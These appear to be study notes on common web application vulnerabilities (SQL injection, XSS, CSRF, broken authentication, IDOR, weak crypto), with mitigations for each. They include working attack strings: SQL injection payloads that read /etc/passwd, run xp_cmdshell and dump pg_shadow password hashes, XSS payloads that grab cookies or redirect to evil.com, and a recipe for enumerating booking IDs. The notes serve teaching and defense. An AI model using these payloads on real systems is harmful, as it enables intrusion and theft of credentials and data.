The front end passes parameters to a backend system. The backend system executes SQL-style database commands with these parameters.
Front-end with GET request parameters:
https://www.website.com/item/subdomain.php?user_id=xyz
Vulnerable backend code:
SELECT user_id, recent_playlist FROM Playlists WEHER user_id=xyz
Front-end query
https://www.website.com/item/subdomain.php?user_id=xyz AND DROP TABLE Playlists;
Backend code:
SELECT user_id, recent_playlist FROM Playlists WEHER user_id=xyz AND DROP TABLE Playlists;
Goes beyond just affecting the Database and can start executing commands on the backend server. Consider the following queries:
Reading file data from the OS
https://www.website.com/item/subdomain.php?user_id=xyz UNION SELECT LOAD_FILE('/etc/passwd') UNION SELECT 'File Content' INTO OUTFILE('tmp/file');
Executing commands on the backend OS
https://www.website.com/item/subdomain.php?user_id=xyz UNION SELECT LOAD_FILE('/etc/passwd') EXEC master.dbo.xp_cmdshell 'DIR';
- Force Error. An easy check to see if this can be done is by using
' OR '1' = '1
or something likeOR abcd'
. Ideally, this should return error from invalid username, but if it doesn't return an error, returns other errors (eg incorrect SQL syntax), or describes the error in detail (eg.unterminated quote string at or near "abcd'" UNE 1: SELECT ... abcd'"<
), you probably can do the attack. - Identify attack -- Explore the attack space to get meta information that can be used for the final attack. For example,
- get DB version:
abcd' UNION ALL SELECT NULL, (SELECT version()
leverages that the regular query returns 2 columns, hence formats it accordignly to ensure union also has 2 columns - get current user:
https://www.website.com/item/subdomain.php?user_id=xyz UNION SELECT LOAD_FILE('/etc/passwd') UNION SELECT 'File Content' INTO OUTFILE('tmp/file');
abcd' UNION ALL SELECT NULL,(SELECT current_user)—
abcd' UNION ALL SELECT NULL,(SELECT getpgusername())--
)- get DB settings like port:
abcd' UNION ALL SELECT NULL,(SELECT current_setting('port'))--
- get encryption status:
abcd' UNION ALL SELECT NULL,(SELECT current_setting('password_encryption'))--
- get config:
abcd' UNION ALL SELECT NULL,(SELECT current_setting(‘config_file'))--
- get host-based auth file:
abcd' UNION ALL SELECT NULL,(SELECT current_setting(‘hba_file'))--
- get data directory:
abcd' UNION ALL SELECT NULL,(SELECT current_setting('data_directory'))--
- get all db users with their passwords:
abcd' UNION ALL SELECT NULL,(SELECT concat(usename,' : ',passwd) from pg_shadow)--
- get table names:
abcd' UNION ALL SELECT NULL,(SELECT string_agg(table_name,', ') AS tables_list FROM information_schema.tables WHERE table_schema = 'public')--
(for example, the attacker might now know that the name of the table is 'Playsists') - get columns of the user table:
abcd' UNION ALL SELECT NULL,(SELECT string_agg(column_name,', ') AS columns_list FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'ctf_user')--
- get user and password hashes:
abcd' UNION ALL SELECT NULL,(SELECT concat(email,' : ',password) FROM public.ctf_user where id=2)—
- get DB version:
- Input data validation, especially input data that has a contact point with the DB.
- Parameterized queries
- Never run db with priviledged roles/users
- User Object Relation Mappings (ORMs) that have validator functions for loaded variables.
Whenever server-side process/OS runtime interacts with a user's input, a malicious user can use their input to inject unwanted behavior. Often, remote code execution flaws in NodeJS (or other popular libraries) can help the attacker run remote code. Typically, happens with the use of eval()
in JavaScript.
Along similar lines, the use of template in html webpages (eg. {{ item.href }}
) when unvalidated and used alongside user input, can trigger Template Injection attacks.
- Input Validation
- Safe APIs to make OS calls/commands
- Avoid user-input from directly interacting with template variables.
- Restrict permissions on backend applications -- effectively reduces attack surface.
An attacker can via input variables or phishing make a web-site behave in undesireable ways. There are braodly three types of this attac:
- Reflected XSS Application input directly reflected back to the user. For example, taking as input a name and upon doing so, the variable is used on the page.
- Persistent XSS XSS that gets stored into the database and reflected back as and when invoked. E.g. XSS injects as username, shows up when admin user wants to view all usernames from the admin page.
- DOM-based/Type-0 XSS The xss manipulates the dom objects on the browser without even reaching the server.
<script>alert(1)</script>
<script>alert(document.cookie)</script>
javascript:alert(1)
alert(1)
><scr ipt>alert(1)</s cri pt>
<BODY ONLOAD=alert('XSS')>
<BODY ONLOAD=document.location = ‘http:// www.evil.com’>
- Input Validation
- OWASP Java Sanitizer
- Python - Bleach
- ASP.NET - Anti-XSS, HtmlSanitizer
- Ruby on Rails - Rails SanitzeHelper
- JS/Node.JS - Bleach
- Encode/Escape Output
- Auto-escaped templating systems (Go Templates, jinja2, django template)
- Implement content-security-policy
- Add session Flags -- HttpOnly prevents Client side token access
- X-Frame options -- ensures i frames from outside the origin cannot be loaded in the context of the application
- Security Headers
- Python Flask Talisman
- Node.JS Helmet
There are several causes to this attack:
- Password retrival/reset mechanisms
- Answers to qusetions asked can be found easliy by simply looking up google, linked in.
- Secret answers should be encrypted/hashed in storage and transmission - similar to passwords.
- Flawed Session Management
- No passoword lockouts
- No mandate password change requirements
- No password complexity enforcement
- Password remember functionality -- cached in browser
- Weak Session tokens that are easily guessable
- Loosely scoped session token (PATH, DOMAIN, Expire)
- Insecure session Token (No HttpOnly, No SECURE Flag)
- No session timeout
- Session Hijacking
- Session Fixation attacks
- VERB Tampering
Can have the nature of a person-in-the-middle attack and works best when there is a state change such as:
- Password change
- Router/Firewall config change
- Account transfer
- Admin CRUD Operations of any kind
CSRF + XSS can results in comelet client-side control over the application such as controlling javascript code to authorize state change events.
Request Authenitcation
- Use CSRF Token in GET and POST requests
- Get request:
GET /index.php HTTP/1.1
{ Other Headers}
CSRFToken:dsfds22wef3scxcvfhrehs123adasfd
- POST request:
<input type=“HIDDEN” name=“csrftoken” value=“adsa2131zxxz4222134324”>
- Validate
- Token for all HTTP request to the application - unique per user
- Origin header
- Same site session token header support
- Ajax requests are a big red flag.
Example libraries:
- Java - OWASP CSRFGUard
- Python - Django
- Ruby - RequestForgeryProtection
- Default vendor-supplied/weak passwords
- Change them
- Default vendor-supplied/weak open services
- Proactively check of these and stop them if not needed
- Unnecessary open services
- Close them
- Information disclosure -- common with headers
- Only have information that is absoulutely necessary
- Transmit sensitive information over encrypted channels only
- Lack of security updates
- Enforce regular updates
- Lack of Network Access Control -- Firewall rules/Access Control Lists (ACLs)
- Restrict permissions, configure authorization
- Web and current day applications are built on top of several downstream libraries that may have vulnerabilities. For example,
- Apache Commons COllection -- Java Deserialization Vulnerability
- OpenSSL Vulnerability -- Heartbleed
- CMS - Massive effect -- Wordpress, Drupal
- Image Libraries -- ImageMagick, LibTFF
- Font Libraries - Free type
- Document LIbraries - Adobe
- Maintain inventory of vulnerable versions
- OWASP Dependency Checker -- (pypi dependency-check)[https://pypi.org/project/dependency-check/]
- Follows NVD/CVE feed (MITRE, NIST)
- Proactive patching
- Disable weak cipher suites in the Web Server/Load Balancer. List of secure cypher suites (2017)
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_256_CBC_SHA256
- Disable anything below TLSv1.1
- Consider implementing HTTP Strict Transport Security (HSTS) -- https
- Consider the query for user types to www.bank.foo
- Browser -- http://www.bank.foo --> DNS Server
- Browser <-- xx.xx.xx.xx -- DNS Server
- Browser -- GET --> xx.xx.xx.xx:80
- Browser -- GET --> xx.xx.xx.xx:443
- Browser <-- cert -- xx.xx.xx.xx:443
- Browser verifies certificate is
-
- Cryptographically sane
-
- Signed by a trusted Certificate Authority
-
- Carries the name www.bank.foo
-
- Watch out for the "Set-Cookie" event
- Enable the SECURE flag on the Session Token
The Model-View-Control (MVC) architecture of Web Apps revolves around having buisiness login as native objects called Models. Attackers can manipulate these parameters by removing or adding information (adds by guessing parameters).
Generally a workflow of Primary Key/Query tampering --> Insure direct object reference --> Mass Assignment
For example,
- Search for a few hotel confirmation IDs on Google
- Get urls and validate them storing the url with IDs that are valid hotel bookings
- Use pattern matching logic to generate 1000s of new IDs
- Query URLs with these IDs using an automated script
Simpler example: Modify www.blah.com/customer/acct?loggedin=True&id=123
to www.blah.com/customer/acct?loggedin=True&id=241
to get the log in page view for a new user (or update a health record with PUT request).
- Test access control and enforce user permissions to objects on the system
- Test authorization and permissions
- Use un-guessable maps to reference objects - UUID4()
- Userful libraries
- Java - Apache Shiro, OWASP ESAPI
- Python, Django - Django Guardian
Red flags:
- Encryption
- Proprietary (un-proved) encryption schemes
- Weak key sizes or encryption modes - 3 DES Electronic Code Block (ECB), RC4
- Hardcoded or easliy accessible key
- Lack of key rotation mechanisms
- Hashing
- Unsalted hashes from MD5 and SHA-1 that can be compromised easlily
- Encryption
- Block cypher -- safe modes are CCM and GCM
- Use strong encryption algos -- AES-256
- Key Encryption/Wrapper Key
- Moving Target key storage
- Key rotation & key retirement
- Hashing
- Key Derivation Function as opposed to Hash Functions
- Salting before hashing is necessary
- Strong has alogs (SHA-224 & above)
- Key derivation function lik bcrype or PBKDF2